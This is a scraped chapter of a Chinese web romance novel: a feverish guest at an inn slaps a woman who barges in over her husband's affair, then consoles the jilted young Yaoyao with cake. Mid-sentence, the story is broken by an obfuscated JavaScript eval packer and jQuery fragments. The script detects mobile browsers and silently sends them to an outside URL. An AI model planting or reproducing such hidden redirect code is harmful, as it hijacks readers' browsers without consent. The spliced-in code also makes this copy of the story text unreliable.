默认冷灰
24号文字
方正启体

34. chapter34

作者:云朵偷喝我酒本书字数:K更新时间:
    篝火派对很晚才结束。


    祝泗云一晚上睡得不太好,但闹钟响时,还是□□着爬起来,与来自五湖四海并不相熟的朋友,等待东方既白,看了一场日出。


    回到民宿时,金花婶的早餐小饭桌还没上客,祝泗云吃了一碗免费的鸡蛋面,回屋吞了两颗感冒药,蒙头睡去。


    醒来时,水泥封鼻,嗓子也又干又疼,感冒症状很明显。祝泗云怀疑那两片药过期了。


    敲门声还在继续。


    祝泗云趿拉着拖鞋过去打开门锁,一个眼神都没多给,左转进洗手间洗了把脸。擦干出来时,路迟冬还站在门口,低着头看手机。


    “发烧了?”路迟冬抬头看了眼她通红的脸蛋儿问。


    祝泗云沉默两秒,“……你平翘舌音分不分。”


    路老板也沉默了,“是你耳朵不分吧。”


    祝泗云好悬没把门拍他脸上,在地上找自己掉的面子。“你在这儿干嘛。”


    路迟冬摁了下锁屏键,把手机塞进裤兜,调子懒散道:“三顾茅庐,请您吃饭。”


    “……”


    不嘲讽人能死啊。


    祝泗云心里骂骂咧咧,啪的关上门往前走。


    瘦猴儿在大厅投影打游戏,看见一前一后下来的两人,眉毛动了动,朝后面的路迟冬揶揄道:“干啥了,你给人弄得脸红的。”


    没等路迟冬开口,祝泗云绷着脸瞪着瘦猴儿,说:“感冒。”


    瘦猴儿朝自己嘴扇了下,讪讪笑:“没事就好。”


    祝泗云:“?”


    祝泗云午饭吃得不多,被分出来的菜都没吃完,人看着也没什么精神,披着外套坐在院子里晒太阳。


    没一会儿,路迟冬端了杯水出来,宽大的掌心里有两片药,“吃了。”


    祝泗云偏头看了眼,没动。“过期了吧。”


    “还有俩月。”


    “……”祝泗云瞪他,“我要出事儿,你得负全责。”


    “讹人?”路迟冬眉梢微抬道。


    呵呵。


    祝泗云白他一眼,捻起那两片药塞进嘴里,喝了口水咽下,水杯重新塞回他手里。


    她还没退烧,体温偏高,指尖碰到他掌心时,路迟冬眉头皱了下,抬手覆在她脑门儿上,“量过体温了没,多少度。”


    “没找到体温计。”


    祝泗云声音沙哑,张着嘴巴呼吸。她觉得自己就像是个火炉,只有风吹到脸上时才会舒服一点。


    “喝完。”


    路迟冬把水杯递给她,说着转身进了屋。


    祝泗云不想喝,本来感冒就没了味觉,白开水喝得有点反胃。杯子里的水有点凉了,路迟冬才出来,这人不知道从哪儿翻出来一支水银温度计,让她在腋窝夹着。


    祝泗云真的好久没见过这么朴实无华的……温度计了。


    路迟冬接过她手里的杯子,啧声道:“怎么没喝完。”


    “老板,你啰嗦了。”祝泗云扯开睡衣领子搞体温计。


    “……”


    “不知好歹的东西。”路迟冬骂。


    三十八度五,是高烧了。


    药刚吃完,估计是还没见效。


    “你去睡会儿吧,门别锁,一会儿要是还不退烧,得去看看了。”路迟冬甩了甩体温计说。


    “输液?”


    “打屁股针。”


    “……滚远点。”


    生病时总是格外难捱。一个下午,祝泗云昏昏沉沉的睡,断断续续的醒。鼻塞症状加重,头也隐隐的开始作妖。


    半睡半醒间,祝泗云突然听见外面咣当一声。


    她睁开发烫的眼皮,躺了半分钟,掀被出去了。


    争吵声从大厅传来,一个不认识的女人……在撒泼?


    长桌在大厅里划水,桌上瑶瑶的那些甲油胶、美甲灯碎了一地。女人打扮朴素,穿着简单的针织开衫和牛仔裤,头发用抓夹夹着,因撒泼而凌乱,歇斯底里的吵嚷,显得面目可憎。


    大洋和瘦猴儿几人拦在中间,将瑶瑶隔开。路迟冬也在,几人表情都不太好看,甚至隐隐透着黑。


    动静闹得有点大,惊扰了不少客人,有人在举着手机,一看就是在录像。


    “你怎么下来了。”路迟冬皱着眉说。


    女人声音尖细,正骂着“狐狸精、不要脸”等词,看见被路迟冬半挡在身后的祝泗云时,声音一停,看了看祝泗云,又看瑶瑶,最后朝着祝泗云骂:“都看看啊,年纪轻轻的,就仗着长了张好脸,勾搭有妇之夫,这么不要逼脸,怎么不去卖呢?”


    瑶瑶脸唰的白了。


    祝泗云嗓子疼,她没说话,伸手扒拉开路迟冬,在他伸手要把她扯到身后时,直接朝那满嘴喷粪的女人脸上甩了一巴掌。


    时间有一秒的暂停。


    然后撕逼直接进入高潮。


    女人又哭又骂,拳打脚踢,欲要扑上来与祝泗云厮打。但连一片衣角都没碰到,力道全落在挡在她跟前的路迟冬几人身上了。


    尖锐的争吵与谩骂声,几乎要掀开房顶。


    祝泗云被吵得耳鸣。


    但她吞刀片似的嗓子不足以打断这场骂战。


    “砰!”


    玻璃杯被狠狠砸在了地上,碎片飞溅在几人脚边。


    纵然怒火中烧到几乎失去理智,人下意识的反应还是闭嘴,然后后退两步。


    大厅安静一瞬。


    祝泗云冷着脸哑声道:“两个方案,第一,不论什么事,现在立刻给我坐下来,心平气和的谈。第二,报警,让警察来处理。”


    女人不知道是不是被她冷脸震慑住了,一场闹剧突然变成了哑剧。


    瘦猴儿赶人,“都别在这儿站着了,散了散了。”


    吃瓜者明显意犹未尽,但也不好太显然的杵着,三三两两的转身要走。


    “等等。”路迟冬突然开口,迎着一众未解的神色,他黑沉着脸说:“把视频都删了。”


    “……”


    这会儿,路迟冬就有点儿后悔没弄个会议室了,谈话没地儿去,只能在大厅。


    祝泗云头昏脑涨,但也听明白了。


    眼前的女人是大伟的妻子——大伟就是那个大伟。


    刘敏发觉大伟最近诸多鬼祟行为,查了他手机,然后追到了这里。只是不知道那个微信里的‘瑶瑶’,是面前的这俩女人其中哪个。


    祝泗云努力酝酿了下,但实在是没有什么同情心。


    她看了眼几个男同志仿佛吞了苍蝇的表情,转头朝刘敏说:“我要是你,这会儿绝对不是跑来找人麻烦,捉奸还捉双呢。”


    “与其虚张声势的警告别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421338|180750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,还不如暗中收集证据,告他婚内出轨,净身出户。男人烂了就是烂了,不扔留着是要生蛆吗?”


    “……”


    刘敏表情一急,刚要张嘴。


    “想说我是替自己开罪,还是站着说话不腰疼?”祝泗云轻轻耸了耸肩,“首先,谈恋爱无罪,犯罪的是婚内出轨的。也别求我作证什么的,我这人心眼儿小,你刚骂我,不论有意无意,我都不想原谅,我也给了你一巴掌,算是扯平。但这事儿我不愿意帮忙。其次,百年不长,及时止损。”


    刘敏走了。


    瑶瑶哭了。


    大厅里骤然安静,几个男人看着趴在桌上哭的瑶瑶,面面相觑,手足无措。


    祝泗云喝着蜂蜜柠檬水,安慰道:“别哭了,谁不遇见几个渣男呢。”


    想了想,她又干巴巴的补了一句悖论,“渣男如果不够渣,怎么显得正缘难能可贵呢。”


    “呜呜呜……”


    “……”


    祝泗云咂吧了下甜津津的嘴巴,思索片刻,也没想出一句甜丝丝的安慰。


    半晌,她问:“这回有蛋糕吃吗?”


    “???”


    隔着长桌,几个人都感受到了离谱。


    路迟冬没憋住,扑哧乐了声。


    几秒钟,瑶瑶抬起了一张哭得泪眼朦胧的脸,表情谴责。


    祝泗云表情认真,还有些期待。


    “……”


    服了。


    瑶瑶仰着脸哇的一声又哭了,“我都这样儿了,你还想着吃蛋糕……”


    “你不想吃吗?我其实还想吃卤煮,都没好意思说。”祝泗云真诚道。


    卤煮没有,路迟冬骂骂咧咧的说她生病就爱折腾人,没好气的问:“杂烩吃不?”


    祝泗云喝完柠檬水,嗓子凉丝丝的,反唇相讥道:“你做的能吃吗?”


    路迟冬轻嗤了声,转身下楼去了厨房。


    瑶瑶的分手蛋糕买回来时,路老板的杂烩还没做好。


    几个人坐在大厅里分食不算快乐的蛋糕。


    瑶瑶眼睛还红着,叉子戳着蛋糕,闷闷不乐的小声问:“你说,我以后是不是得孤独终老了。”


    祝泗云差点呛到,她捂着嘴咳了两声,转回脸来不可思议的说:“你才多大啊,就想着孤独终老了?”


    “跟我一起打工的姐妹,有好多都结婚了。”瑶瑶闷头说。


    祝泗云叹为观止,“急什么啊。”


    “我总也遇不到好的,跟谁也处不长久。”瑶瑶emo。


    “这事看缘分,你越是着急,越是容易遇到渣男,先放放,心态平稳点儿。”祝泗云被绵软香甜的蛋糕糊嘴,难得说两句中听的话,“你才二十岁,你都不知道我有多羡慕你。”


    瑶瑶噌的抬头,湿漉漉的眼睛有些可怜又期待的望着她。


    祝泗云咽下一口蛋糕,顶着那束期待目光,又说:“你正处于想做什么就做什么的年纪,不需要顾忌太多。谈恋爱是给快乐锦上添花的事,没有也不会少什么。”


    回想二十岁,没谈一场关于青春的恋爱的遗憾,远远低于她马不停蹄的打工、没有多学技能,丰富履历的遗憾。


    给人安慰得总算是把那块叉子戳得稀巴烂的蛋糕吃掉,祝泗云功成身退的端着一块蛋糕起身,悠悠然往厨房去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)